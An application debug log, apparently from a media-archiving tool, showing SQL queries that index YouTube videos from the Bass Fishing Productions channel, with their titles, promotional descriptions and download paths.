s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.535 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-18 13:27:59Z], 33] 08:30:39.536 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "488b94b2-b6cc-47d5-b01c-b7af2fce81f2", "mEI05SrXMqE", false, "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, [], 8319, false, 3, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, false, 98, ~U[2026-01-18 13:27:59Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "mEI05SrXMqE", "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, 8319, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, ~U[2026-01-18 13:27:59Z]] 08:30:39.537 [debug] QUERY OK source="sources" db=0.3ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.538 [debug] QUERY OK source="media_items" db=0.7ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 13:00:59Z], 33] 08:30:39.540 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "1cd31e02-6f28-4ac4-a7b2-7be4a1cc54ab", "3h5e0vXKQws", false, "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, [], 2511, false, 4, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, false, 98, ~U[2025-11-22 13:00:59Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "3h5e0vXKQws", "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, 2511, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, ~U[2025-11-22 13:00:59Z]] 08:30:39.540 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.541 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 12:00:02Z], 33] 08:30:39.542 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "f8c39497-b18c-49e3-b8d0-248a6888f4df", "VRzuXo7JdUI", false, "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, [], 5156, false, 5, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, false, 98, ~U[2025-10-25 12:00:02Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "VRzuXo7JdUI", "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, 5156, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, ~U[2025-10-25 12:00:02Z]] 08:30:39.543 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.544 [debug] QUERY OK source="media_items" db=0.6ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-11 12:00:02Z], 33] 08:30:39.545 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "3ee38bd7-480b-4efb-8a77-ca2a41ca9b9e", "hKgulyjwjWI", false, "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, [], 2665, false, 6, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, false, 98, ~U[2025-10-11 12:00:02Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "hKgulyjwjWI", "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, 2665, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, ~U[2025-10-11 12:00:02Z]] 08:30:39.546 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.546 [debug] QUERY OK source="media_items" db=0.7ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 12:00:03Z], 33] 08:30:39.548 [debug] QUERY OK source="media_items" db=0.9ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "498719b6-8055-4daf-b4c1-941c4a83f4bd", "JKT8AxiO87Y", false, "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, [], 1343, false, 7, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, false, 98, ~U[2025-08-30 12:00:03Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "JKT8AxiO87Y", "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, 1343, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, ~U[2025-08-30 12:00:03Z]] 08:30:39.548 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.549 [debug] QUERY OK source="media_items" db=0.7ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 12:00:09Z], 33] 08:30:39.551 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "c82ba79d-33e8-4e58-8592-714273bacbba", "obiOzEbmVmU", false, "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, [], 977, false, 8, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, false, 98, ~U[2025-08-16 12:00:09Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "obiOzEbmVmU", "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, 977, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, ~U[2025-08-16 12:00:09Z]] 08:30:39.551 [debug] QUERY OK source="sources" db=0.1ms 